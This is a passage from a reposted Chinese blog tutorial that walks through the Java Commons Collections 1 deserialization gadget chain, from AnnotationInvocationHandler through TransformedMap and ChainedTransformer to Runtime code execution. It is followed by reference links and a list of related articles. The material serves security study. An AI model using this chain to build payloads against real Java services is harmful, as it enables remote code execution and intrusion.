  • 不为空进入
  • 获取entry的key对应的值:I am Leyilea!
  • 判断(value不是memberType的类型) 或者 (value是ExceptionProxy的实例)
  • 进入

4.4 进入利用链触发点【核心逻辑】

4.4.1 memberValue.setValue()

执行memberValue.setValue()

  • memberValue为TransformedMap(memberValues)的第一个entry

进入AbstractInputCheckedMapDecorator的子类MapEntrysetValue()方法

触发checkSetValue()方法

4.4.2 checkSetValue()

进入TransformMapcheckSetValue()方法

  • 其中传入的对象value为AnnotationTypeMismatchExceptionProxy对象(这个是无法控制的,不过不影响)
  • valueTransformerChainedTransformer,元素为4个,即1个ConstantTransformer、3个InvokerTransformer。

📌注意:不同的transformer会调用不同的****transform()

4.4.3 ChainedTransformer.transform()

调用ChainedTransformertransform()方法

4.4.3.1 ConstantTransformer.transform()

第1个ConstantTransformer.transform()

  • 返回class java.lang.Runtime

4.4.3.2 InvokerTransformer.transform()

第2个InvokerTransformer.transform()

  • 参数为class java.lang.Runtime
  • 返回public static java.lang.Runtime java.lang.Runtime.getRuntime()

4.4.3.3 InvokerTransformer.transform()

第3个InvokerTransformer.transform()

  • 参数为public static java.lang.Runtime java.lang.Runtime.getRuntime()
  • 返回Runtime对象

4.4.3.4 InvokerTransformer.transform()

第4个InvokerTransformer.transform()

  • 参数为Runtime对象
  • 返回UNIXProcess对象

4.4.3.5 代码执行

返回之后,弹计算器

返回到TransformedMapcheckSetValue()方法

返回到AbstractInputCheckedMapDecorator的子类MapEntrysetValue()方法

返回到AbstractIteratorDecoratorhasNext()方法

返回到unserialize()方法结束

5 总结

5.1 涉及的各个对象的属性值

反序列化的AnnotationInvocationHandler对象中存在很多其他对象,存储在不同对象的属性中,反序列时会被使用。

  • AnnotationInvocationHandler对象的属性Map<String, Object> memberValues的值为TransformedMap;
  • TransformedMap对象的属性Transformer valueTransformer的值为ChainedTransformer;
  • hainedTransformer对象的属性Transformer[] iTransformers的值为列表,元素有4个:1个ConstantTransformer、3个InvokerTransformer。

5.2 不同Transformer对象调用不同transformer()方法

其中Transformer类型的对象都可以调用transformer()方法,只是不同的Transformer对象调用不同的transformer()方法。

因为都重写了对应的transformer()方法。

  • ChainedTransformer对象调用transformer()方法,用来遍历链中的元素,并调用每个元素的transformer()方法,并将前面一个元素的返回结果当做后面一个元素.transformer()方法的参数。

  • ConstantTransformer对象调用transformer()方法,返回一个固定值,该值为其构造方法传入,在此链中为Runtime.class

  • InvokerTransformer对象调用transformer()方法,用来执行任意方法

5.3 恶意代码触发的方法调用链

sun.reflect.annotation.AnnotationInvocationHandler#readObject
org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue
org.apache.commons.collections.map.TransformedMap#checkSetValue
org.apache.commons.collections.functors.ChainedTransformer#transform
    org.apache.commons.collections.functors.ConstantTransformer#transform
    org.apache.commons.collections.functors.InvokerTransformer#transform
    org.apache.commons.collections.functors.InvokerTransformer#transform
    org.apache.commons.collections.functors.InvokerTransformer#transform
     !!代码执行!! 
// 返回
org.apache.commons.collections.map.TransformedMap#checkSetValue
org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue


5.4 为什么new ConstantTransformer(Runtime.class)的transformer可以解决了 runtime对象无法传入的问题

这里其实是因为runtime对象是ChainedTransformer链执行transform()方法时,创建出来的,不需要我们手动创建传入。

这里其实是另一个问题,即:下述代码中memberValue.setValue()按流程来说,应该传入runtime对象才对,为什么这里不需要了,使用AnnotationTypeMismatchExceptionProxy对象也行??

memberValue.setValue(
        new AnnotationTypeMismatchExceptionProxy(
            value.getClass() + "[" + value + "]").setMember(
                annotationType.members().get(name)));

首先明确以下,memberValue.setValue()中传入的值不出意外的话会传递到最终的transform()方法。

而在这里,不管memberValue.setValue()中不管传入什么,后面代码都会执行到ChainedTransformer链,而ChainedTransformer链中存在一个ConstantTransformer类型的Transformer对象,它可以接受任意的object,但是都会返回固定值(这里就是Runtime.class),给到了后面的transform()方法当做参数,相当于截断了AnnotationTypeMismatchExceptionProxy对象传递到最终的transform()方法。

即上述方法调用链中:

AnnotationInvocationHandler#readObject
...memberValue.setValue() // 参数:AnnotationTypeMismatchExceptionProxy
AbstractInputCheckedMapDecorator.MapEntry#setValue // 参数 Annota...Proxy
TransformedMap#checkSetValue  // 参数 Annota...Proxy
ChainedTransformer#transform  // 参数 Annota...Proxy
    ConstantTransformer#transform // 参数 Annota...Proxy
    InvokerTransformer#transform  //  参数 Runtime.class  这里发生了变化
    InvokerTransformer#transform
    InvokerTransformer#transform
    !!代码执行!!

ConstantTransformer YYDS!!

6 参考链接

JAVA反序列化—CC链的前世今生 - FreeBuf网络安全行业门户

Java反序列化:CC1链 详解_cc链-CSDN博客

https://blog.csdn.net/weixin_49047967/article/details/134763883

Java反序列化:CC1链 详解_cc链-CSDN博客

CC链 1-7 分析 - 先知社区 (aliyun.com)

Java安全入门(二)——CC链1 分析+详解_cc1利用链-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2088789.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

嘴上说“摆烂”的90后,考了最多的PMP证书......

现在&#xff0c;“摆烂”一词经常被大家挂在嘴边&#xff0c;但真正能够安心摆烂的人却没多少&#xff0c;特别是承担着社会主要劳动力的90后们。 大部分90后都是嘴上说着摆烂&#xff0c;但该卷的时候还是得卷&#xff0c;特别是在考证这件事上&#xff01; 一、PMP考生年龄…

缓存配置错误导致授权绕过

一个电子商务网站它有 2 个资产target.com admin.target.com target.com是面向用户的门户&#xff0c;用户可以去那里购买物品。admin.target.com基本上是卖家的管理门户&#xff0c;卖家可以在其中列出他们的物品&#xff0c;跟踪订单、客户信息等。 我通常使用 Autorize …

国产光耦合器的应用优势

国产光耦合器在近年来的技术发展中表现出了显著的应用优势&#xff0c;尤其是在电子和电力系统中。光耦合器作为一种广泛应用的电子元件&#xff0c;主要用于实现信号隔离、噪声抑制和电压转换等功能。随着国产品牌的不断崛起&#xff0c;国产光耦合器在性能、性价比以及供应链…

基于yolov8的8种人脸表情检测系统python源码+onnx模型+评估指标曲线+精美GUI界面

【算法介绍】 基于YOLOv8的人脸表情检测系统是一个结合了先进目标检测算法&#xff08;YOLOv8&#xff09;与深度学习技术的项目&#xff0c;旨在实时或离线地识别并分类人脸表情&#xff08;如快乐、悲伤、愤怒、惊讶、恐惧、厌恶、中立等&#xff09;。以下是一个简短的介绍…

四通道非洲猪瘟检测仪

四通道非洲猪瘟检测仪具有以下功能优势&#xff1a; 高效性能&#xff1a;四通道设计使得可以同时检测多个样本&#xff0c;大大提高了检测效率。这对于大规模养猪场或集中屠宰场来说尤为重要&#xff0c;可以快速筛查出可能感染非洲猪瘟的猪只。 高准确性&#xff1a;四通道检…

纯原生-如何在不破解情况下使用Android监听支付宝微信收款消息

具体思路&#xff1a; 首先支付宝微信收款均有到账通知&#xff0c;这是其app自带属性&#xff0c;也是为了提醒用户&#xff1b; 然后再规则范围内如何合理利用&#xff0c;在这里我们不说使用xposed这些工具&#xff0c;仅使用手机原生功能如何来做&#xff1b; 思路: 1、新建…

Python进阶06-Web服务器

零、文章目录 Python进阶06-Web服务器 1、HTTP协议 HTTP协议相关请参考HTTP协议详解网络相关内容请参考计算机网络详解 &#xff08;1&#xff09;HTTP协议 HTTP 协议的全称是(HyperText Transfer Protocol)&#xff0c;翻译过来就是超文本传输协议。超文本是超级文本的缩…

图为科技闪耀双展,AI之星智领未来

图为科技同期闪耀2024AGIC深圳(国际)通用人工智能大会与深圳国际电子展&#xff0c;晋升AI领域新星。 人工智能爆炸时代&#xff0c;每一场科技盛会的召开都预示着行业的新风向与无限可能。 作为边缘计算与人工智能领域的佼佼者&#xff0c;图为科技携带前沿技术与创新产品&a…

UI自动化测试 —— 下拉选择框弹出框滚动条操作实践!

前言 UI测试&#xff0c;也称为用户界面测试&#xff0c;是一种测试类型&#xff0c;旨在检查应用程序的界面是否工作正常&#xff0c;以及是否存在任何妨碍用户行为且不符合书面规格的BUG。UI自动化测试则是利用自动化工具来执行这些测试&#xff0c;以提高测试效率和准确性.…

【ubuntu使用笔记】使用timeshift备份ubuntu系统

使用timeshift备份ubuntu系统 安装timeshift sudo apt install timeshift建立备份点 sudo timeshift --create --comments "fist" --tags D查看备份点 sudo timeshift --list参考 三种Ubuntu系统全盘备份与恢复方法—tar、timeshift、systemback

linux访问github网速太慢 the remote end hung up unexpectedly问题

linux访问github网速太慢 the remote end hung up unexpectedly问题 pip install githttps://github.com/zhanghang1989/PyTorch-Encoding/时遇到fatal: the remote end hung up unexpectedly 原因 linux访问github网速太慢 措施&#xff1a; 确定ip&#xff1a; https://link.…

CRM 客户管理系统哪个好用?本篇盘点给你答案!

本文将盘点15款CRM客户管理系统&#xff0c;为企业选型提供参考 。 CRM 客户管理系统哪个好用&#xff1f;这是众多企业在发展过程中常常思考的问题。 CRM 客户管理系统就如同企业的得力助手&#xff0c;能把企业的客户资源管理得井井有条。对于企业来说&#xff0c;如果没有一…

【Mybatis】Mybatis-Plus 高级

1、关于插件 1.1、插件机制 MyBatis 允许你在已映射语句执⾏过程中的某⼀点进⾏拦截调⽤。默认情况下&#xff0c;MyBatis 允许使⽤插件来拦截的⽅法调⽤包括&#xff1a; Executor (update, query, flushStatements, commit, rollback, getTransaction, close, isClosed)Par…

vTESTstudio系列12--vTESTstudio中的动态函数库介绍2

在上期的文章&#xff08;vTESTstudio系列11--vTESTstudio中的动态函数库介绍1&#xff09;中&#xff0c;我们详细介绍了osek_tp.dll的接口&#xff0c;本章开始给大家介绍如何通过osek_tp.dll的接口去发送诊断指令&#xff0c;Let‘s Go!!! 目录 1. CanTp发送数据的函数&am…

插件千兆网络变压器72PIN应用图片和设计H87202D

华强盛电子导读&#xff1a;前面199中间2643后面0038 千兆4口网络变压器是一种常用于网络通信领域的电子元件&#xff0c;它可以将高频率的信号进行隔离和滤波&#xff0c;保护网络设备免受电磁干扰&#xff0c;同时也能确保信号的稳定传输。这种网络变压器通常具有多个端口&am…

使用tyarn下载依赖出现: 无法加载文件 D:\environment_software\nvm_node\tyarn.ps1,因为在此系统上禁止运行脚本。

使用tyarn下载依赖时出现&#xff1a; 无法加载文件 D:\environment_software\nvm_node\tyarn.ps1&#xff0c;因为在此系统上禁止运行脚本。 表示window不能执行ps1文件&#xff0c;可以通过设置命令运行执行ps1文件&#xff08;PowerShell&#xff09;。输入命令查看配置&am…

程序设计—智慧城市应急物资配送系统开发—车辆调度 项目源码36262

摘 要 在智慧城市建设的浪潮中&#xff0c;应急物资配送系统的车辆调度模块扮演着举足轻重的角色。该模块通过集成先进的信息技术和管理理念&#xff0c;实现了对配送地区、前置仓、车辆资源以及调度信息的全面管理和优化&#xff0c;从而确保在紧急情况下能够迅速、准确地将应…

自动生成文章的软件,提高你写文章的效率

对于每个写作人员而言&#xff0c;如果在写作中有一个工具可以协助提高工作效率&#xff0c;想必大家是都乐意接受的&#xff0c;那么今天小编就在本文中为大家分享一个好用的自动生成文章的软件&#xff0c;它可以在大家没有写作灵感时用来自动生成文章用&#xff0c;同时也可…

JVM中篇:字节码与类的加载篇-04-再谈类的加载器

笔记来源&#xff1a;尚硅谷JVM全套教程&#xff0c;百万播放&#xff0c;全网巅峰&#xff08;宋红康详解java虚拟机&#xff09; 文章目录 1. 概述1.1. 大厂面试题1.2. 类加载器的分类1.3. 类加载器的必要性1.4. 命名空间1.5. 类加载机制的基本特征1.6. 类加载器之间的关系 2…

视频结构化从入门到精通——图像算法类型介绍

视频结构化主要图像算法 1 认识“数组、矩阵和张量” 1.1 什么是维度 在图像算法中&#xff0c;“维度”这个概念非常重要&#xff0c;它描述了数据的结构和形状。在不同的上下文中&#xff0c;维度可能有不同的含义&#xff0c;但总体来说&#xff0c;它们都与数据的排列方式…